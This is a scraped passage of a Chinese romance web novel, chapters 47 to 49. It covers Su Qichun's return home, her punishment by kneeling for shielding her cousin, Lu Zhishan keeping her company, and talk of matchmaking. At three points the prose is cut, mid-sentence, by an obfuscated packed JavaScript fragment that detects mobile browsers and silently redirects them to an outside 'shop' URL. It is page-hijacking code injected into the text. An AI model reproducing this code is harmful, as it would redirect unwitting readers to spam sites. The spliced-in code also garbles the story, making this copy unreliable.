陆之山不知不觉已经喝了好几口水,他瞧见苏祈春,瞬间放下心来,“纤纤,你没事,你吓死我了。” 苏祈春昂着头道:“当然没事了,就是有点儿冷。”苏祈春过身打了个冷颤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176211|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆之山内力涌出,静脉处一寸寸地疼,“快上去吧,你的手都冻凉了。” “我才不要!我还没游够呢,山哥哥,你抓着我,我带你凫水。”说着,苏祈春又钻进了水里。 陆之山闻言抓住苏祈春,跟着她穿行在一片绿水当中,她一双眼眸亮亮的,时而看向前方,时而回头望他,弯成月牙的形状。 游了一会儿,陆之山也逐渐摸到游泳的诀窍,便松开苏祈春的手,自己游起来。 苏祈春道:“山哥哥,我们比赛游泳吧。”她指着湖面的另一边,“谁先游到那一头,谁就算赢,输了的人要替赢了的人做一件事,怎么样?” 赶路的这几日,苏祈春粉黛难施,眉毛嘴唇都淡淡的,但在日光下,苏祈春的脸好似染上一圈光晕,闪闪的,柔柔的,为她添上几分艳丽,陆之山看得心动。 “好,听纤纤的。” 陆之山话音刚落,苏祈春便游了出去,一眨眼,就游出陆之山的视线,陆之山的胜负欲一下被激起来了,他扎进水里,埋头苦游。 快到岸边时,苏祈春回头,看着身后的陆之山,得意地道:“山哥哥,你要输了,纤纤要赢喽哈哈哈。” 陆之山疼得嘴唇发白,勉力笑着:“可不一定呢。” 说完,他猛拉一下苏祈春的脚踝,苏祈春受力往后跌去,陆之山趁机往前,达到终点。 “山哥哥,你耍赖!”苏祈春气呼呼地上岸,怒斥陆之山。 陆之山碰碰苏祈春的鼻尖,温暖地笑,“怎么?纤纤是愿赌不服输么?” 苏祈春跺跺脚,“才不是!纤纤才不和山哥哥一样,纤纤是正人君子,愿赌服输!” 陆之山脸上露出得意的表情,“那好啊,那纤纤就答应山哥哥一件事吧。” “什么事啊?”苏祈春话音刚落,就打了一个喷嚏。 陆之山脱下身上的衣服,披在她身上,担忧地说:“快些回去换上干爽衣服。” 苏祈春回到船上,听完陆之山要她做的事,狠狠拒绝,“纤纤不要!” “纤纤不相信山哥哥的手艺么?”陆之山问。 苏祈春当然不相信,想想爹爹那么心灵手巧的一个人,描起眉来那叫一个惨烈,生生将柳叶眉描成了两道宽宽的大马路,山哥哥从来没描过眉,那技术肯定也不怎么样。 “纤纤当然相信了,只是——”苏祈春想着措辞。 “纤纤想耍赖?”陆之山又道。 “才没有!只是这里有没有描眉的工具,如何描呀?”苏祈春搜肠刮肚才想出这么个理由。 陆之山笑笑,从一旁拿过来一支毛笔,仔细看,上面还沾着些碳粉,“用这个,快来吧,不许耍赖哦。” 苏祈春才没有要耍赖,陆之山越这么说,越显得苏祈春好像要不守承诺一样,她无奈,只能乖乖地坐下。 “山哥哥治好了病,就变坏了,哼!”苏祈春气得两腮鼓起来。 陆之山也不生气,他看着苏祈春,越看他心就跳得越快,砰砰地,响得好像声音就在耳边。 苏祈春抬头,迎着日光,她的一眉一目都在光下放大,蔓延,很快填满陆之山的瞳孔,他的眼里心里都仿佛只剩下苏祈春一个人。 他俯下身,撩起苏祈春耳边的发,认真地说:“山哥哥就算变成全天下最坏的人,也绝不会对纤纤坏。” 苏祈春听得心里甜丝丝的,她随口说道:“山哥哥是纤纤的哥哥,当然不会对纤纤坏了。” 陆之山提笔在苏祈春眉毛上轻轻画,看似不经意地说:“才不是。” 47. 凭什么 47凭什么 苏祈春乖乖地让陆之山描眉,心里却在嘀咕,什么才不是?不是因为这个又是因为什么?山哥哥怎么净说些她听不懂的话?她往陆之山的眸子深处看去,想猜透陆之山究竟在想什么? 陆之山慢悠悠地描眉,一笔一划都满含心意,他可不能给苏祈春这一张小脸儿给毁了。正用心间,他感受到苏祈春如影随形的目光,淡淡道:“纤纤在看什么呢?” 苏祈春双手撑着下巴,嘟着嘴道:“山哥哥太奇怪了,说的话纤纤都不明白。” 陆之山回过味儿来,看来纤纤还是什么都不懂,不过这样最好,要是让她知道他对她的想法,指不定吓成什么样呢? 陆之山嘴角轻笑,毛笔上的碳粉很快将苏祈春的眉毛填满,他扫去眉毛边缘的浮碳,目光从苏祈春的眉宇落在她乌黑的眸子,又接着往下,停在她一张粉嫩嫩的红唇上。 苏祈春被他盯得不自在,戳戳陆之山的脸颊,不解地问:“山哥哥在看什么?” 陆之山回过神来,喉咙干涩得要命,他别过脸,指指那边的铜镜,“描好了,快去瞧瞧。” 苏祈春觉得陆之山一定描的很丑很丑,是以她走到铜镜前的一路上都特别害怕紧张,她虽不是什么倾国倾城的美人,但也算是明眸善睐,可爱非常,但有了一双丑眉可就不一样了,说不定,她会变成丑八怪,从此以后,没人再喜欢她。 她忐忑地站到铜镜前,连眼睛都不敢睁开,只敢露一个小缝,偷看铜镜里的自己。 陆之山就在她身边,安抚着她,“放心吧,好看得不得了。” 可她才不信呢?山哥哥能有那么好的手艺么? 不过,很快她就不得不信,因为山哥哥实在画得太好了。 她不可置信地看着镜子里的自己,左看看右看看,上看看下看看,笑靥如花,她捂着自己发烫的脸颊,回头对陆之山说:“山哥哥画得真好。” 陆之山被夸得心花怒放,连声谦让,“不敢当不敢当。” 苏祈春越看越觉得这眉毛是点睛之笔,心里开心地绽放出一朵花来,那花朵在阳光下逐渐舒展,花香四溢,惹得她将所有的烦心事都忘却。 她伸手点点陆之山的眉心,眸光亮亮的,“那纤纤也不会对山哥哥坏。” “什么?” 苏祈春捧着自己的脸颊,一字一句地说:“就算山哥哥真的变成了全天下最坏最坏的人,纤纤也绝不会对山哥哥坏!” 陆之山听得心里暖暖的,柔柔的,像一汪春水缓缓流过他的心间。纤纤说她永远不会对他坏,他真开心。 船要开动了,苏祈春照例拉过陆之山,给他把脉。她一直害怕那治眼的药会害得陆之山折寿,因此每日都要为陆之山诊脉。 好在每次诊脉,脉象都很平缓,并无大碍。只是连她这个外行人都能看出来,陆之山的武功断崖式下降。 就如从前,陆之山为她暖手时,他手心的内力好似汪洋大海,绵延不绝,而现时,陆之山的内力比小溪流还少。 苏祈春不禁担心,山哥哥的武功下降那么多,他会不会很难过。 陆之山说:“我才不会伤心呢,内力减弱,我还有外门功夫。”说着,他拿出一根极细的针,手腕一转,向前挥去。 苏祈春过去一看,只见一只小虫活生生被钉在银针之下,这一手功夫,应当也没人能敌得过。苏祈春这才松了一口气。 船只顺流而下,又在路上行了几日,终于到了湛江县。苏祈春临走时,只给家里人留了一封信,也不知他们这段时日怎么样?别的倒还好,她格外担心杨夫人的病。 但好消息是山哥哥的病治好了,她做到了,家里人一定也很开心。想着这些,苏祈春拉着陆之山没命地往苏府跑去。 刚到门口,府门前的家仆见到苏祈春,个个瞪大了眼,连滚带爬地跑到府内禀报,高声喊着,“老夫人,大爷,三爷,纤纤女郎回来了,还有陆公子,陆公子也回来了!” 苏祈春笑吟吟地走进屋,未语先笑,“祖母,爹爹,纤纤回来了!纤纤还要给你们一个大惊喜呢!” 她笑得嘴角都要咧到耳朵后面去了,她在心里想,要是他们看到山哥哥能说会看,一定比她还高兴。 外面的雨还未停,天光被乌云遮蔽得一点儿不剩,连着屋子里也是一片昏暗,但她的心却是明亮的,耀眼夺目地将所有黑暗的地方都照亮。 她拉着陆之山来到众人面前,先拜了拜,道了一番错,说自己不该自己偷跑出去,教家里人担心了。 她本想着她先认了错,也算是态度端正,家里人应当会手下留情,不会太多地责备她,可谁知她话说完,屋子里还是静悄悄的。 沉默像一块大石头一样,压得她喘不过气来,她跪在地上,不敢抬头看。 苏知辛动了动,有心去扶起她,却被苏老夫人一个眼风止住。 许久,苏老夫人才道:“纤纤这些日子去哪了?” 听见苏老夫人说话,苏祈春才松口气,想着他们一定是不生气了,她笑着道:“我们去了白首村,又去了常春县,祖母,我要告诉你,山哥哥的哑症和眼疾都治好了,他现在又会说又能看。” 她巴巴地说着这些,心里以为他们一定会和她一样开心。 苏知辛大为震惊,苏祈春走之前,茯苓就告诉他,这个陆之山会说话,他那时还不敢确信,没想到现时真的会说了。但那哑症哪有那么容易治好的,这不可能,绝不可能! 苏老夫人扬了扬眉,“真的?” 苏祈春点头,拽拽陆之山的衣袖,悄声和他说:“快拜见祖母。” 陆之山闻言撩袍跪下,语句清晰,“拜见祖母,苏大舅,苏三舅。” 苏老夫人心头一震,原本要发作的怒气此时被忘得一干二净,她起身扶起陆之山,握着他的手道:“山儿,你真的能说会看了?真好。快去,快去将泽兰叫过来,让他们也看看他们的孩子终于苦尽甘来了。” 苏祈春心里开心,正欲站起来,又被苏老夫人喝止,“纤纤继续跪着,跑出去这么久,你可知道家里人担心成什么样儿了?先是谷儿失踪,接着又是你,若不是我命硬,早就被你给气死了!” 苏祈春不情不愿地继续跪着,心里却奇怪,苏川谷难道还没回来? 没等到苏泽兰,陆重先来了,他瞧见陆之山眼明心亮的模样,脸黑着,眼尾耷拉下来,他先给苏老夫人请安,听苏老夫人哭了一场,少不得也跟着一起哭,但在人后, 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“站住!”苏老夫人喝止住她,“你什么时候知道错了,什么时候让你见你娘亲,你就在这儿跪着!谁也不许帮她。”苏老夫人说最后一句话时,眼睛盯向苏知辛。 苏祈春跪在地上,膝行几步到苏知辛面前,拉着他的衣角,可怜地说:“爹爹,纤纤知道错了,你告诉纤纤,娘亲怎么了?” 苏知辛不敢多说,待苏老夫人走后,他低声地问:“怎么样?这段日子过得好吗?有没有受伤?” 苏祈春摇头,“爹爹,山哥哥的病治好了,我做到了。” “好孩子。”苏知辛摸摸苏祈春的脸蛋儿,“那就好。” 苏知辛站起身离开,想了想,他又回头,看见苏祈春跪在地上,小小的一个,好生可怜,他又道:“我知道你想见你娘。只是——” 苏知辛欲言又止,“你谷哥哥的下落,你要是知道的话,就说出来吧,外面下着雨,地上凉,总跪着,爹爹心疼,你娘也想你。” 苏知辛说的这些话像是裹着火焰的寒冰,初始温暖,内里寒冷,苏祈春渐渐缓过劲儿来,她的一张脸瞬间变得冷漠,跪在地上,腰挺得很直。 原来不是因为她偷跑出去而惩罚她,兜兜转转还是因为苏川谷。 “我知道了,爹爹你回去照顾好娘,告诉她,纤纤回来了,要她别担心。”苏祈春不肯多说关于苏川谷的一个字。 “你……你就说出你谷哥哥的下落吧……”苏知辛又劝了几句,见苏祈春无动于衷,索性离开,他虽疼这个女儿但手足之情他也不能不顾,苏祈春不说,他也没办法包庇。 等苏知辛也走了,正堂里昏黄的灯烛摇晃,屋外狂啸的风和劈里啪啦的雨打在窗棂上,震得整个屋子都在摇晃。 苏祈春一个人跪在屋里,只觉得自己处在狂风暴雨里,周围的一切都在撕卷着她,她的衣衫,发髻被撕扯一空,可她就是不肯低头。 凭什么要她低头? 他们拿着她娘亲来恐吓她,不说就不让她见娘亲,又让她下跪,只为了得到苏川谷的下落。 他们明明知道,娘亲对她很重要。 他们凭什么做? 他们要这样,她偏不说。 既然他们都要她屈服,她就死扛到底,做这个世间最固执,最冥顽不灵的小女郎! 48. 故人还 48远方来 翌日,天轻云朗,惠风和顺,蒙着一层纱似的融融日光照在窗棂上,李夫人懒懒地伸了个懒腰,脖颈处卡擦卡擦地响,李夫人“哎哟”一声,疼得当即蹙起了眉。 伺候的丫鬟问:“夫人这是怎么了?难道是上次的伤还没好利落?” 一说起上次的伤,李夫人就不如意,那日她只当自己是遇见鬼了,害得她下不了床,后来她才得知自己是被人点了穴,她思前想后,这家里边能有这手功夫的,只有陆之山。 但可惜她刚反应过来要去找他算账时,陆之山已跟着苏祈春逃走了。家里连着几个人失踪,早就乱得不成样子,她也顾不上计较这件事。 好在老天有眼,现下他们二人回来了,苏祈春被罚跪了一晚上,这一晚上她不知道睡得有多香。 她虽然也喜欢苏祈春爱笑的样子,可谁让她偏偏向着陆之山,明明知道自己亲哥哥的下落,却半个字都不吐露。 想想这可真叫苏三爷给说对了,这家里的姑娘没一个是有用的,全都是败家玩意儿,胳膊肘往外拐,不能给家里人带来一点儿助益。 她想着想着,胸内又翻出一阵气,脖子上鼓鼓胀胀地疼,“哪能这么容易好呀?这伤筋动骨一百日,这才过了几日?哎,对了,这几日怎么不见柏儿?” 那丫鬟还未开口,李夫人想到自己那儿子的德行,自顾自地道:“他又去哪鬼混了?是藏春楼?还是隐红馆?” 丫鬟摇摇头,“都不是。” 李夫人心下疑惑,“那是湛江县又开了什么新的,我不知道的去处了?” “没有没有。”那丫鬟微微一笑,“是去学医去了,近来湛江县新开了家药铺,里面来了位极厉害的大夫,这不,县里但凡有些志向的人都闻风而动,前去学医。” 若苏川柏不是李夫人的儿子,李夫人还能相信这一番话,但她实在太了解她这个儿子了,表面正经,内里就是个混蛋,她幽幽道:“你可别被他给骗了,他没这觉悟,指不定是藏着什么坏呢!” 李夫人话音刚落,苏川柏就结结实实地打了一个喷嚏,弄得涕泗横飞,好不狼狈。 屋子里药香和香灰的味道混在一起,呛人得很,一个矮小男人取出一撮药,和一团灰色粉末混在一起,仔细研磨。 那男人一副医者打扮,下巴上粘着几缕小胡子,一笑起来就露出黄澄澄的一排牙齿,他皮肤黝黑,像是经历过风吹雨晒,和苏川柏的白嫩皮肤毫不相同。 他踱步至苏川柏前问:“怎么?柏公子这是生病了?用不用我来给你开几副药吃吃?” 与这男人相处几日了,苏川柏仍害怕他,总觉得他身上有股说不清道不明的瘆人气息,听他这么说,苏川柏连忙推辞,笑得客气,“不必不必,许是谁骂我了,吃药也不管用。” 那小矮个笑,笑声阴恻恻的,苏川柏浑身起了一层鸡皮疙瘩,“在湛江县还有人敢欺负柏公子你啊?我以为凭着怀仁堂在湛江县的地位,柏公子一定是要风得风,要雨得雨,原来不是啊……” 小矮个瞥着眼看苏川柏,苏川柏敷衍地笑笑,正欲回答,门口突然传来开门的声音。 一个挺拔身材的男人边朝里走,边掀开斗篷,满身的凌冽也随着距离的拉近而更为明显。 他眉峰不展,眼神阴鸷,不必细看,便令人胆寒。 苏川柏至今难以想象,他的好弟弟是经历了什么变成这副样子,浑身的伤不说,原本俊俏的脸也变成黑黢黢的,没一点儿富家公子的样儿,浑身还透着些阴气,像从死人堆儿里出来的。 “哟,谷公子回来了?”小矮个凑上去,语气谄媚。 苏川谷自从被曲余青丢进大船,在江河之上漂泊了数月之后,性情大变,从前的浮荡模样一扫而空,现时不仅变得沉稳了,连行为说话都透着股邪气,谁见了他都害怕。 他头也未抬,拿起桌子上的一盏茶水一饮而尽,道:“杜冲,你方才说的话我可听见了,你不要忘了,李元礼我是怎么对付的,有些话该说,有些话不该说,你记住了吗?” 杜冲登时浑身浮起一身冷汗,他可没忘记那事,那样的狠手,他可从未见过,简直比船老大还要厉害上几分。 “记住了记住了。”杜冲赔笑道。 苏川谷转眼看向苏川柏,手指不停在桌子上敲击,“家里怎么样?听说纤纤和陆之山回来了?” “回来了,祖母为了让纤纤说出你的下落,罚了纤纤下跪,昨夜跪了一晚上,但那丫头的嘴真硬,就是不说。”苏川柏边说边叹气,他们怎么有这么个妹妹。 “啪!”苏川谷猛拍一下桌子,咬牙切齿地道:“真是个好妹妹!” 苏川柏和杜冲都被这一声给吓到了,两人互相看一眼,闭着嘴不敢发出一丝动静。 只见苏川谷周身泛起戾气,他拿起一只茶盏,望着里面浮萍一般的茶沫,语气忽地平缓下来,他道:“没事,怎么说也是我的亲妹妹,我让让她又何妨?对了,她娘亲不是病了?我们的神药也给她送点儿。” 他捏着茶盏的手因用力过猛而发白,苏川柏看不清他的神色,却从白玉茶盏的反映中看到苏川谷眼中的波澜。 同样的天空下,晴天里突然响起一阵惊雷,惊得树上的鸟儿扑棱着翅膀从树叶深处飞出来,明朗的天空中霎时掠过一抹灰暗。 苏祈春跪得双腿发麻,加上一晚上未睡,眼皮沉沉地垂下,整个人也摇摇晃晃的,一不留神就要倒下。 早上时苏老夫人又来劝她,说是劝,在她看来不过是威胁,威胁她不说出苏川谷的下落,就让她一直跪着。 她也不知哪来的勇气,大喊道:“好啊,那就让纤纤一直跪着,跪到天荒地老,做一个最不知悔改的小女郎!” 苏老夫人指着她,捂着胸口,险些晕过去。可苏祈春偏偏连看都不多看一眼,既然没人爱她,她就也不爱别人了,随便别人如何伤心难过,她一概不管,一概不问。 可等到众人都离去了,屋子里又只剩下她一个人,她的心连着这个屋子一样灌满了风,冰冰凉凉的,比潮湿地下的一排排玉阶还要能冷上几分。 她在寒冷里昏昏沉沉地睡着,又被雷声惊醒,浑身酸痛无力,几乎要支撑不下去。 疼痛与酸胀在她的各个关节爆炸胀开,她的双腿也因为长时间跪着的姿势而升起麻意,如果此时让她站起来,她恐怕也站不起来。 茯苓来送了几次饭,每次见她就哭,劝她忍一忍,就认错吧。可是她实在想不通自己错在哪里? 后来,她打定主意,茯苓再来,她就捂住耳朵,不听她的话。 兴许不听不看不说,能少很多烦恼。 天色渐暗,苏祈春小小的身影投在面前,被风吹得四处乱晃,身后有脚步声响起,苏祈春下意识地心口一紧,深吸一口气,先开口道:“东西放那里,别的话不要说,我是不会低头的。” “女郎!”茯苓的声音从背后响起,苏祈春怕她不肯,更大声地说:“放下快走!不然我不吃了!” 身后的脚步声止住,接着又越来越远,苏祈春静静地听着声音,直到声音彻底消失了,她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221420|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松口气,刚欲转身,又听到一阵脚步声。 苏祈春只当茯苓去而复返,背对着声音,大吼道:“我都说了不要过来!” 脚步声停了一刻,又继续往前走。 苏祈春浑身发抖,连日的辛劳让她气竭力衰,“纤纤是天下最冥顽不灵,最无药可救的小女郎,你不要再来劝我……” 她说起狠话时声音也轻轻柔柔的,像极了撒娇。 脚步声仍旧未停,继续往前走,她气极,索性捂住自己的耳朵,嚷嚷着,“我不听你说,你别费口舌了!” 脚步声停在她的身边,长长的身影依偎在她小小的身影旁,像一棵大树一样遮蔽着小小的她。 她等了好久,也没听到茯苓唠叨的声音,心下疑惑,慢慢地抬起头,扭过脸,一张极好看的脸落在她眼眸中。 他的眉是浓浓的,平缓的眉在眉尾处凸起一个峰,山峰一般。他的眼眸黑白分明,眼睫弯弯的,就像银鱼尾一样翘。 苏祈春鼻子忽然酸酸的,她低下头,眼角余光扫过陆之山手边的食盒,问道:“山哥哥,你怎么来了?山哥哥也要来看纤纤的笑话的么?” 苏祈春的声音很低,低到陆之山不用心听就听不到的程度,陆之山皱眉,忍着痛为苏祈春输送内力,“在纤纤心里,山哥哥就是这样的人么?” “不是么?”她的祖母,爹爹都这么对她,山哥哥是不是有一天也会这么对她,她不敢想。 陆之山曾记得有人告诉他,当一个人身体和精神都处在虚弱的状态时,会格外脆弱,格外容易乱想,格外地自暴自弃,自我厌弃。 他揉揉苏祈春的发,肯定地说:“当然不是,纤纤忘了么?山哥哥说过,永远永远不会对纤纤坏。” 苏祈春听得愣了一瞬,心里霎时涌上一阵温暖,却嘴硬,“纤纤才不信。” 陆之山没瞧见苏祈春嘴角的偷笑,他还以为苏祈春真的不信,于是特认真特笃定地说:“山哥哥绝不会骗纤纤。” 陆之山说完,从食盒里拿出一盘糯米糕来,糯米糕的香气扑鼻,简直可以绕梁三日不绝。 苏祈春黑着脸,拿了一块儿放在嘴里,和着自己的偷乐一起咽下去,她拿眼偷看陆之山的神情,那一脸的正直与坚定,和最初的冰山脸又一样又很不一样。 一样的是五官形状毫无差异,不一样的是他的温热情感仿佛改变了他的棱角,让他从锋利的冰块,变为冰雪融化后的一汪春水。 她故意想逗逗他,于是凶巴巴地说:“一点儿都不好吃!” 陆之山眉头拧成了麻花,他轻咳几声,伸手去拿苏祈春手中的糯米糕,“不好吃别吃了,给我吃。” “不要!”苏祈春别过身子,将糯米糕背到身后,不让陆之山拿到。 陆之山真有些想不通这小女郎脑子里在想什么,他试探地问:“纤纤是在生我的气么?山哥哥错了,只要纤纤说,山哥哥一定会改!” 苏祈春再忍不住笑,连着罚跪的委屈也一扫而空,她娇嗔道:“山哥哥坏,抢纤纤的糯米糕吃,羞羞,这么大的人还和妹妹抢吃的。” 陆之山无奈地笑,他没料到苏祈春是为了这个生气,他忙将糯米糕还给苏祈春,满怀歉意,“好好,山哥哥不抢纤纤的糯米糕,纤纤让山哥哥做什么,山哥哥就做什么。” “真的么?”苏祈春眨着亮亮的眼睛问。 陆之山毫不犹豫地点头。 苏祈春瞬间绽开一个笑,她昂着头道:“那我要山哥哥和我一起罚跪,一起做这个世上最无药可救,无理取闹的人!” 49. 说姻缘 49说姻缘 屋外落日熔化云层,漫天的红霞一层层铺展在岑寂的人间之上,两人的身影被照进来的霞光拉长。 苏祈春笑得春意满满,沾着点点霞光的眼角眉梢染上一层嫣红,衬得她更为明媚。 陆之山爱看她的笑,从前只能听,不能看,如今能看了,他就看不够了。 “好啊。”陆之山撩袍跪下,长长的影子短了一截,恰好比苏祈春高出一个脑袋。 苏祈春本来想着若是陆之山不跪,她就撒泼打滚,一哭二闹三上吊,但陆之山这么爽快地答应,她也不再说什么,心里虽然觉得自己这样做不好,却有种莫名的满足,就连累都不觉得累了。 夕阳西下,两人的身影逐渐被降落下来的黑暗湮灭。 苏老夫人屋里燃起了灯,伺候的仆妇拿过来一碟点心,苏老夫人拿起一块儿,往嘴里一放,当即蹙起了眉,“哎哟,真甜呀。” 她拿起手里的东西往灯光下一放,心里明镜儿一般,什么都猜出来了,“怎么?这糯米糕是纤纤最爱吃的,老太婆我岁数大了吃不了这些。” 伺候的仆妇心虚地低头,双手不断地搅着衣角。 苏老夫人可看不惯这些,她只想着苏川谷能早日回来,苏川谷到底说是苏家的骨血,不敢有误。 苏老夫人和苏老太爷年轻时感情甚笃,苏老太爷早早离世这件事一直是她的心病,她心里盘算要为苏家养育一个能继承家业的好男儿,这样到了地底下,她见到苏老太爷,也能跟他说,你们苏家有后了! 但人算不如天算,她事事上心的苏川柏兄弟俩偏偏在医术上毫无建树,倒是苏祈春不错,可惜就可惜在她是个女子,终究是要嫁出去的。 她叹口气,忽然想起一件事,施家的崔夫人前几日来过,她没给她什么好脸色,后来听说崔夫人又来给杨夫人送什么药? 伺候的仆妇回道:“确实有这么回事。要说崔夫人对纤纤是真的用心,施公子也是。” 苏老夫人来了兴致,“施公子也是纤纤的兄长,自然对纤纤要与众不同些。” “哟!那可不是一般地与众不同。” 大抵八卦是所有人的天性,饶是这上了岁数的人也不例外,苏老夫人凑近了些,问:“怎么个与众不同?” 仆妇说起这些可就来劲儿了,也不管什么主仆之分,说得眉飞色舞,“自从咱家纤纤小女郎失踪后,施公子先是翻遍了湛江县,又坐船到白头村去找,这不,路上遇见大雪封湖,施公子硬是下了船,靠着自己的双脚,到了白头村,谁知去了才发现,那地方不叫白头村——” “那叫什么?”苏老夫人催着她快说。 仆妇喝了口水,接着道:“那地方原来叫白首村。” “可不是嘛,白头就是白首。” “他还见到了一个老头子,那老头子叼着烟枪坐在村口,他作揖问礼,想询问纤纤的下落,谁知那老头子却说他来晚了,就算见到纤纤也没用。施公子当然不甘心,硬是给那老头子跪下了,结果那老头子愣了一下,又说你跪晚了,有一个人比你先跪。” 苏老夫人冷哼一声,“这什么老头子,分明是刁难人,不过照你这么说,施之谓肯为了纤纤下跪求人,还真是与众不同。” 仆妇说到激动处,不自觉地坐在一旁的椅子上,神情激愤,倒像是被刁难的人是她,“就是故意的,后来施公子又说他什么都可以做,要求尽管老头子提。那老头子却摇摇头,说什么该做的别人早就做了,他现在做什么都没用了。” “这老头子,也忒过分了。”苏老夫人也听得生气。 “怎么不是呀!要说这施家公子是真的好,若是纤纤……” 仆妇说了一半,被苏老夫人打断,苏老夫人虽爱听些八卦,可若是非要挑明了讲就没意思了,“有些话,别瞎说,对了,纤纤还没说?” 仆妇点头,“没说,陆公子心疼她,陪着她一起跪,也不知要跪到什么时候。” 听到陆之山的名字,苏老夫人吃了一惊,当日苏祈春离家就是为了山儿的病,现时山儿回报她,陪她罚跪也说得过去。 她接着想到山儿能说会看就心里开心,从前陆之山不会说也不能看,哪里有小女郎愿意跟他,如今…… 她想到兴致处,不由得将苏祈春的事抛在一边,心里咂摸着什么时候请冰人为山儿说门亲事。 翌日,苏祈春醒来时,一眼就看见了茜色花纹的纱帐,她心头一紧,猛然翻起身,举目之处皆是自己熟悉的物件儿。 雕着木兰花的衣柜,小巧的百眼柜放在墙角——这是苏知辛特意为她打造的,百眼柜的旁边是她的书桌,上面摆满了医书,桌子的正中间摆着一本书,苏祈春不用猜也知道,那是《千金要方》,上面有记载治疗眼疾的方子。 “女郎?”屋门开了个小缝,茯苓从外面探出头来,见到苏祈春已醒,放心地笑,“女郎,你可终于醒了!” 茯苓端着一碗白粥走进来,走到苏祈春的床边。 苏祈春刚醒,还有些发懵,她明明记得昨夜她跟着山哥哥一起罚跪,可怎么一醒就回到了自己的闺房?她正欲问问,茯苓便开口了。 “女郎,别乱想了,昨夜你睡着后,陆公子将你送回来,而且啊。”茯苓先前就听过陆之山讲话,她还一直怀疑自己是不是听错了,如今陆之山的哑症痊愈,她反而更加相信,陆之山就是装哑,既然如此,她更要让两个人保持距离! “而且我听说,陆公子的病好了,老夫人有意为他说一门亲事,这几日都顾不上女郎你,女郎你可以放心些了。”茯苓一边说,一边觑苏祈春的神色。 听了茯苓说的,苏祈春才意识到,她的山哥哥年岁已不小了,比苏川柏两兄弟还要大上一岁,苏川柏他们早早就开始相亲,若不是山哥哥有病,应当也早就说好亲家了。 这本来是理所应当的事,可苏祈春不知怎么,就是高兴不起来,她的山哥哥要被别的小女郎抢走了,以后就不能给她撑腰了,她想想就觉得难受,可她又觉得自己应该为山哥哥高兴,于是努力地笑,“那太好了,以后我就有小嫂子了!” 苏祈春笑得嘴角都麻了,茯苓心里松口气,接着又说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273897|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是啊,陆公子要相亲了,以后可不能总找他,要是被那小嫂子瞧见,定会生气。” 苏祈春听得心里酸酸的,她低下头,手指捏着锦被上的芙蓉花纹,沉默了一会儿,复又抬头笑道:“我知道,我可不能去做那没眼力见儿的人。” 茯苓听罢,脸上露出满意的笑,她总算是安排好两人了。 一连几日,苏祈春都呆在屋里,陪陪杨夫人,看看医书,就算是出去,也会离月雪阁远远的,生怕遇见陆之山。 便是遇上了,她也不会像从前一样,傻傻地凑上去。倒是陆之山还像以前那样,见到她就朝她走过来,俯下身子问,问她怎么了。 她倒想问问他怎么了?见的谁家的小女郎,好不好看?温不温柔?婚事定了何时?是不是那小女郎特别地好,所以他才会笑得那么开心? 不过她也只是想想,成亲这种事,她可不能乱说,她只说自己这几日都在陪着娘亲,忙得很。 她其实哪里是忙呀,是故意这么说,指望着陆之山能发现自己的小生气,可她的山哥哥一点儿都不懂,她说什么就是什么,就真的相信了,不打扰她了。 她初时生气,后来她一想,一定是山哥哥被别的小女郎迷倒了,懒得搭理她,所以才这么粗心。 她越想越气,一直气得好几天没有睡好觉。有一天她睡着睡着忽然哭起来,梦里面,陆之山也像其他人一样逼她,还让她离他远一点,她醒了后大哭一场,决定再也不理陆之山了。 又过了几日,施家也听说苏祈春回来的消息,派人送了帖子,要带着苏祈春到湛江县最大的酒楼吃饭,为苏祈春接风洗尘。 苏老夫人接过帖子笑道:“哎哟,真是客气了,纤纤是之谓的妹妹,既然施家有请,那就让纤纤走一趟?” 施家始终是湛江县有头有脸的人家,苏老夫人不愿得罪,再说,既然施家这么欢喜纤纤,她做个顺水推舟的人情又如何? 苏祈春这几日为了陆之山的事正闷闷不乐,如今借着这个由头出去走走也倒不错,就答应下来。 到了那日,苏祈春早早地收拾妥当,携了茯苓一起出门,上马车没一会儿,身后又有几声马儿嘶叫。 茯苓望了望,忙说:“女郎,别看了,是陆公子,今日他怕是也要约见哪家的小女郎呢!” 苏祈春本想掀帘看看,听了茯苓的话,心里立刻沉沉的,连去吃饭的心情都没了,她别过脸,对着车壁,委屈地扁着嘴,“这都见了多少个小女郎了?怎么还要见?” 茯苓回声,“快了快了!我听月雪阁的人说,陆公子今日见的这个人品相貌都是一等一的好,陆公子见了画像也是满意得不得了,想必就是这个了!” 苏祈春听完,手指划着车壁,鼻子酸了又酸。 就这么走了一路,苏祈春先下车,迎面而来的是一副黑底描金的几个大字,明明白白地写着“毕胜阁”几个字。 门里不断有人进进出出,苏祈春刚走到门口,就有小二招呼道:“客官里面请。” 